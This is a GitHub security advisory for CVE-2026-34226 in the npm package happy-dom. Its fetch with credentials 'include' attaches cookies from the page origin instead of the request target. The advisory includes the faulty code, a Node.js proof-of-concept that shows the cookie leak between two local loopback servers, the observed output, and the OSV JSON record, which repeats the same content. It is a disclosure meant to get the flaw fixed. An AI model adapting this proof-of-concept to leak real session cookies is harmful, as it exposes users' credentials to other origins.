GHSA-W4GP-FJGQ-3Q4G
Vulnerability from github – Published: 2026-03-29 15:23 – Updated: 2026-03-29 15:23Summary
happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.
Details
In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:
const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
originURL,
false
);
Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).
PoC Script Content
const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');
async function listen(server, host) {
return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}
async function run() {
let observedCookieHeader = null;
const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';
console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
console.log('Setup:');
console.log(` Page Origin Host : ${pageHost}`);
console.log(` Request Target Host: ${apiHost}`);
console.log(' (both resolve to 127.0.0.1 via public wildcard DNS)');
console.log('');
await dns.lookup(pageHost);
await dns.lookup(apiHost);
const pageServer = http.createServer((req, res) => {
res.writeHead(200, { 'content-type': 'text/plain' });
res.end('page host');
});
const apiServer = http.createServer((req, res) => {
observedCookieHeader = req.headers.cookie || '';
const origin = req.headers.origin || '';
res.writeHead(200, {
'content-type': 'application/json',
'access-control-allow-origin': origin,
'access-control-allow-credentials': 'true'
});
res.end(JSON.stringify({ ok: true }));
});
const pagePort = await listen(pageServer, '127.0.0.1');
const apiPort = await listen(apiServer, '127.0.0.1');
const browser = new Browser();
try {
const context = browser.defaultContext;
// Page host: pageHost (local DNS)
const page = context.newPage();
page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';
// Target host: apiHost (local DNS)
const apiSeedPage = context.newPage();
apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';
// Trigger cross-host request with credentials.
const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
credentials: 'include'
});
await res.text();
const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');
console.log('Expected:');
console.log(' Request to target host should include "api_cookie=API_ONLY".');
console.log(' Request should NOT include "page_cookie=PAGE_ONLY".');
console.log('');
console.log('Actual:');
console.log(` request cookie header: "${observedCookieHeader || '(empty)'}"`);
console.log(` includes page_cookie: ${leakedPageCookie}`);
console.log(` includes api_cookie : ${expectedApiCookie}`);
console.log('');
if (leakedPageCookie && !expectedApiCookie) {
console.log('Result: VULNERABLE behavior reproduced.');
process.exitCode = 0;
} else {
console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
process.exitCode = 1;
}
} finally {
await browser.close();
pageServer.close();
apiServer.close();
}
}
run().catch((error) => {
console.error(error);
process.exit(1);
});
Environment:
1. Node.js >= 22
2. happy-dom 20.6.1
3. DNS names resolving to local loopback via *.127.0.0.1.nip.io
Reproduction steps:
1. Set page host cookie: page_cookie=PAGE_ONLY on a.127.0.0.1.nip.io
2. Set target host cookie: api_cookie=API_ONLY on b.127.0.0.1.nip.io
3. From page host, call fetch to target host with credentials: "include"
4. Observe Cookie header received by the target host
Expected:
1. Include api_cookie=API_ONLY
2. Do not include page_cookie=PAGE_ONLY
Actual (observed):
1. Includes page_cookie=PAGE_ONLY
2. Does not include api_cookie=API_ONLY
Observed output:
=== PoC: Wrong Cookie Source URL in credentials:include ===
Setup:
Page Origin Host : a.127.0.0.1.nip.io
Request Target Host: b.127.0.0.1.nip.io
(both resolve to 127.0.0.1 via public wildcard DNS)
Expected:
Request to target host should include "api_cookie=API_ONLY".
Request should NOT include "page_cookie=PAGE_ONLY".
Actual:
request cookie header: "page_cookie=PAGE_ONLY"
includes page_cookie: true
includes api_cookie : false
Result: VULNERABLE behavior reproduced.
Impact
Cross-origin sensitive information disclosure (cookie leakage).
Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "happy-dom"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "20.8.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34226"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-29T15:23:57Z",
"nvd_published_at": "2026-03-27T22:16:23Z",
"severity": "HIGH"
},
"details": "### Summary\n`happy-dom` may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B.\n\n### Details\nIn [`packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts`](https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts) (`getRequestHeaders()`), cookie selection is performed with `originURL`:\n\n```ts\nconst originURL = new URL(options.window.location.href);\nconst isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);\n// ...\nconst cookies = options.browserFrame.page.context.cookieContainer.getCookies(\n originURL,\n false\n);\n```\n\nHere, `originURL` represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: `new URL(options.request[PropertySymbol.url])`).\n\n### PoC Script Content\n\n```javascript\nconst http = require(\u0027http\u0027);\nconst dns = require(\u0027dns\u0027).promises;\nconst { Browser } = require(\u0027happy-dom\u0027);\n\nasync function listen(server, host) {\n return new Promise((resolve) =\u003e server.listen(0, host, () =\u003e resolve(server.address().port)));\n}\n\nasync function run() {\n let observedCookieHeader = null;\n const pageHost = process.env.PAGE_HOST || \u0027a.127.0.0.1.nip.io\u0027;\n const apiHost = process.env.API_HOST || \u0027b.127.0.0.1.nip.io\u0027;\n\n console.log(\u0027=== PoC: Wrong Cookie Source URL in credentials:include ===\u0027);\n console.log(\u0027Setup:\u0027);\n console.log(` Page Origin Host : ${pageHost}`);\n console.log(` Request Target Host: ${apiHost}`);\n console.log(\u0027 (both resolve to 127.0.0.1 via public wildcard DNS)\u0027);\n console.log(\u0027\u0027);\n\n await dns.lookup(pageHost);\n await dns.lookup(apiHost);\n\n const pageServer = http.createServer((req, res) =\u003e {\n res.writeHead(200, { \u0027content-type\u0027: \u0027text/plain\u0027 });\n res.end(\u0027page host\u0027);\n });\n\n const apiServer = http.createServer((req, res) =\u003e {\n observedCookieHeader = req.headers.cookie || \u0027\u0027;\n const origin = req.headers.origin || \u0027\u0027;\n res.writeHead(200, {\n \u0027content-type\u0027: \u0027application/json\u0027,\n \u0027access-control-allow-origin\u0027: origin,\n \u0027access-control-allow-credentials\u0027: \u0027true\u0027\n });\n res.end(JSON.stringify({ ok: true }));\n });\n\n const pagePort = await listen(pageServer, \u0027127.0.0.1\u0027);\n const apiPort = await listen(apiServer, \u0027127.0.0.1\u0027);\n\n const browser = new Browser();\n\n try {\n const context = browser.defaultContext;\n\n // Page host: pageHost (local DNS)\n const page = context.newPage();\n page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;\n page.mainFrame.window.document.cookie = \u0027page_cookie=PAGE_ONLY\u0027;\n\n // Target host: apiHost (local DNS)\n const apiSeedPage = context.newPage();\n apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;\n apiSeedPage.mainFrame.window.document.cookie = \u0027api_cookie=API_ONLY\u0027;\n\n // Trigger cross-host request with credentials.\n const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {\n credentials: \u0027include\u0027\n });\n await res.text();\n\n const leakedPageCookie = observedCookieHeader.includes(\u0027page_cookie=PAGE_ONLY\u0027);\n const expectedApiCookie = observedCookieHeader.includes(\u0027api_cookie=API_ONLY\u0027);\n\n console.log(\u0027Expected:\u0027);\n console.log(\u0027 Request to target host should include \"api_cookie=API_ONLY\".\u0027);\n console.log(\u0027 Request should NOT include \"page_cookie=PAGE_ONLY\".\u0027);\n console.log(\u0027\u0027);\n\n console.log(\u0027Actual:\u0027);\n console.log(` request cookie header: \"${observedCookieHeader || \u0027(empty)\u0027}\"`);\n console.log(` includes page_cookie: ${leakedPageCookie}`);\n console.log(` includes api_cookie : ${expectedApiCookie}`);\n console.log(\u0027\u0027);\n\n if (leakedPageCookie \u0026\u0026 !expectedApiCookie) {\n console.log(\u0027Result: VULNERABLE behavior reproduced.\u0027);\n process.exitCode = 0;\n } else {\n console.log(\u0027Result: Vulnerable behavior NOT reproduced in this run/version.\u0027);\n process.exitCode = 1;\n }\n } finally {\n await browser.close();\n pageServer.close();\n apiServer.close();\n }\n}\n\nrun().catch((error) =\u003e {\n console.error(error);\n process.exit(1);\n});\n\n```\n\n\nEnvironment:\n1. Node.js \u003e= 22\n2. `happy-dom` 20.6.1\n3. DNS names resolving to local loopback via `*.127.0.0.1.nip.io`\n\nReproduction steps:\n1. Set page host cookie: `page_cookie=PAGE_ONLY` on `a.127.0.0.1.nip.io`\n2. Set target host cookie: `api_cookie=API_ONLY` on `b.127.0.0.1.nip.io`\n3. From page host, call fetch to target host with `credentials: \"include\"`\n4. Observe `Cookie` header received by the target host\n\nExpected:\n1. Include `api_cookie=API_ONLY`\n2. Do not include `page_cookie=PAGE_ONLY`\n\nActual (observed):\n1. Includes `page_cookie=PAGE_ONLY`\n2. Does not include `api_cookie=API_ONLY`\n\nObserved output:\n```text\n=== PoC: Wrong Cookie Source URL in credentials:include ===\nSetup:\n Page Origin Host : a.127.0.0.1.nip.io\n Request Target Host: b.127.0.0.1.nip.io\n (both resolve to 127.0.0.1 via public wildcard DNS)\n\nExpected:\n Request to target host should include \"api_cookie=API_ONLY\".\n Request should NOT include \"page_cookie=PAGE_ONLY\".\n\nActual:\n request cookie header: \"page_cookie=PAGE_ONLY\"\n includes page_cookie: true\n includes api_cookie : false\n\nResult: VULNERABLE behavior reproduced.\n```\n\n### Impact\nCross-origin sensitive information disclosure (cookie leakage).\nImpacted users are applications relying on `happy-dom` browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.",
"id": "GHSA-w4gp-fjgq-3q4g",
"modified": "2026-03-29T15:23:57Z",
"published": "2026-03-29T15:23:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-w4gp-fjgq-3q4g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34226"
},
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/pull/2117"
},
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751"
},
{
"type": "PACKAGE",
"url": "https://github.com/capricorn86/happy-dom"
},
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts"
},
{
"type": "WEB",
"url": "https://github.com/capricorn86/happy-dom/releases/tag/v20.8.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Happy DOM\u0027s fetch credentials include uses page-origin cookies instead of target-origin cookies"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.